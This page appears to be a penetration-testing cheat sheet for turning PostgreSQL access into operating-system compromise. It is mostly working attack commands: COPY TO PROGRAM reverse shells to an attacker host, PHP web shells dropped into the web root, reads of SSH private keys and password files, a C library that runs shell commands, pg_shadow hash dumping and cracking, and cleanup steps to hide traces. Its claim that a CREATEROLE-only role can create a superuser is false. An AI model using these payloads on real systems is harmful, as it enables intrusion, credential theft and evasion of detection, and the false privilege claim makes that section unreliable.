Skip to content

PostgreSQL RCE and Exploitation

7 min read Created May 6, 2026 Last updated May 6, 2026

Before attempting any of the techniques below, confirm the privilege level of the current session. Most of the high-value paths require superuser or the pg_execute_server_program role. Run this first:

  • COPY TO PROGRAM: OS Command Execution
  • pg_read_file: Arbitrary File Read
  • Large Object File Write
  • UDF RCE via Custom Extension: Linux
  • Password Hash Extraction
  • Privilege Escalation via CREATEROLE
postgres=# SELECT rolname, rolsuper, rolcreaterole FROM pg_roles WHERE rolname = current_user;

rolsuper = t unlocks all techniques on this page. rolcreaterole = t without superuser opens a privilege escalation path covered at the end. Without either, the file read and COPY-based RCE techniques will fail with a permission error.

All examples assume an active psql session on the target. To connect from the attacker machine:

┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=$PASSWORD psql -h $TARGET_IP -p ${PORT:-5432} -U $USER -d $DATABASE

COPY TO PROGRAM: OS Command Execution

COPY TO PROGRAM is the primary PostgreSQL RCE vector. It passes the output of a SELECT directly to a shell command. Requires superuser or the pg_execute_server_program role (available since PostgreSQL 11).

Reverse shell:

┌──(kali㉿kali)-[~]
└─$ COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"';

Set up the listener before executing:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

COPY FROM PROGRAM also executes commands and writes output into a table, which is useful if you need to capture command output rather than get a shell:

postgres=# CREATE TABLE cmd_output (line TEXT);
postgres=# COPY cmd_output FROM PROGRAM 'id';
postgres=# SELECT * FROM cmd_output;

To write a web shell instead of getting a reverse shell, use COPY TO with a file path. The postgres OS user must have write access to the target directory:

postgres=# COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

Notice

OPSEC: COPY TO PROGRAM spawns a subprocess under the postgres OS user. The command appears in the system process list and may be logged by the database if log_min_duration_statement or log_statements is configured.

pg_read_file: Arbitrary File Read

pg_read_file reads files from disk as the postgres OS user. Available since PostgreSQL 9.1, requires superuser.

postgres=# SELECT pg_read_file('/etc/passwd');
postgres=# SELECT pg_read_file('/root/.ssh/id_rsa');
postgres=# SELECT pg_read_file('/etc/postgresql/14/main/postgresql.conf');

The function returns the full file contents as text. Useful for reading SSH private keys, application config files with credentials, or the PostgreSQL config to understand the installation. If the postgres OS user does not have read permission on the file, the function returns an error rather than empty output.

Large Object File Write

Large objects provide an alternative write path that does not require COPY TO PROGRAM. The lo_import and lo_export functions move data between disk and the large object storage inside the database.

Import a file from disk into a large object:

postgres=# SELECT lo_import('/etc/passwd', 1337);

Export a large object back to disk at a different path:

postgres=# SELECT lo_export(1337, '/tmp/passwd_copy');

To write a web shell using this method, first insert the payload into a large object, then export it to the web root:

postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (9001, 0, decode('3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e', 'hex'));
postgres=# SELECT lo_export(9001, '/var/www/html/shell.php');

The hex string above decodes to <?php system($_GET["cmd"]); ?>. Generate it for any payload with:

┌──(kali㉿kali)-[~]
└─$ echo -n '<?php system($_GET["cmd"]); ?>' | xxd -p | tr -d '\n'

lo_import and lo_export require superuser. Clean up the large object after use to reduce artifacts:

postgres=# SELECT lo_unlink(1337);

UDF RCE via Custom Extension: Linux

When COPY TO PROGRAM is unavailable or blocked, loading a custom shared library is an alternative RCE path. Compile a .so with a function that executes shell commands, write it to disk using large object export, then register it with CREATE FUNCTION. Requires superuser and write access to a path PostgreSQL loads libraries from (typically /usr/lib/postgresql/<version>/lib/ or a path in dynamic_library_path).

This technique is complex and noisy: it leaves a binary on disk, a new function in pg_proc, and potentially a new extension entry. Prefer COPY TO PROGRAM whenever possible.

Step 1: Compile the Shared Library

Create the C source on your attacker machine. This defines a PostgreSQL-compatible function that passes a string argument to system():

#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(sys_exec);
Datum sys_exec(PG_FUNCTION_ARGS) {
    char *command = text_to_cstring(PG_GETARG_TEXT_P(0));
    PG_RETURN_INT32(system(command));
}

Compile against the PostgreSQL server headers. Match the target's PostgreSQL major version:

┌──(kali㉿kali)-[~]
└─$ gcc -shared -fPIC -o sys_exec.so sys_exec.c -I$(pg_config --includedir-server)
Explain command
-shared Build a shared library (.so) instead of an executable.
-fPIC Position-independent code, required for shared libraries.

If pg_config is not available on the attacker machine, use the header path directly. For PostgreSQL 14 on Debian/Ubuntu: -I/usr/include/postgresql/14/server. For cross-compilation targeting a different architecture, install the matching postgresql-server-dev-<version> package.

Step 2: Deploy via Large Objects

Convert the compiled library to hex and inject through the SQL session. First, determine the target library path:

postgres=# SELECT setting FROM pg_config WHERE name = 'PKGLIBDIR';
          setting
----------------------------
 /usr/lib/postgresql/14/lib

Convert the .so to hex on the attacker machine:

┌──(kali㉿kali)-[~]
└─$ xxd -p sys_exec.so | tr -d '\n' > sys_exec.hex
┌──(kali㉿kali)-[~]
└─$ wc -c sys_exec.hex

Write the hex payload to disk on the target through large objects. Each pageno holds up to 2048 bytes of decoded binary (4096 hex characters). Split the hex file and paste each chunk:

postgres=# SELECT lo_create(1234);
postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1234, 0, decode('<HEX_CHUNK_0>', 'hex'));
postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1234, 1, decode('<HEX_CHUNK_1>', 'hex'));
postgres=# SELECT lo_export(1234, '/usr/lib/postgresql/14/lib/sys_exec.so');
postgres=# SELECT lo_unlink(1234);

Step 3: Register and Execute

Create the SQL function pointing to the deployed library:

postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/postgresql/14/lib/sys_exec.so', 'sys_exec' LANGUAGE C STRICT;
CREATE FUNCTION

Execute commands through the function. Reverse shell:

postgres=# SELECT sys_exec('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"');

The function returns the exit code of the command (0 = success).

Cleanup

Remove artifacts after obtaining access:

postgres=# DROP FUNCTION IF EXISTS sys_exec(text);
postgres=# SELECT lo_unlink(1234);

Delete the .so from disk through a shell if you have execution. The function registration in pg_proc is removed by DROP FUNCTION but database logs may still contain the CREATE and execution statements.

Password Hash Extraction

Dump all user hashes from pg_shadow. Requires superuser: non-superuser accounts cannot read this view.

┌──(kali㉿kali)-[~]
└─$ SELECT usename, passwd FROM pg_shadow;
 usename  | passwd
----------+----------------------------------------------
 postgres | md53175bce1d3201d16594cebf9d7eb3f9d
 appuser  | md5be4d38f1f7a5b9c2e0a3d6e1c4b2a8f

PostgreSQL stores passwords as md5 followed by the MD5 hash of the password concatenated with the username. Crack with hashcat using mode 11100:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 11100 hashes.txt /usr/share/wordlists/rockyou.txt

Or with john:

┌──(kali㉿kali)-[~]
└─$ john --format=postgres hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Format the hash for hashcat as $postgres$*username*hash_value if your version requires it. John handles the raw format from the query output directly.

Privilege Escalation via CREATEROLE

If the current account has rolcreaterole = t but is not a superuser, it can create a new superuser role and use it:

postgres=# CREATE ROLE pwned SUPERUSER LOGIN PASSWORD 'P@ssw0rd';

Then reconnect as the new superuser account and proceed with the techniques above.

Alternatively, if the current user can ALTER existing roles:

┌──(kali㉿kali)-[~]
└─$ ALTER ROLE $USER SUPERUSER;

This only works if the current user has rolcreaterole privilege and the target role is not already protected. In practice, CREATE ROLE with a fresh superuser account is more reliable and less likely to conflict.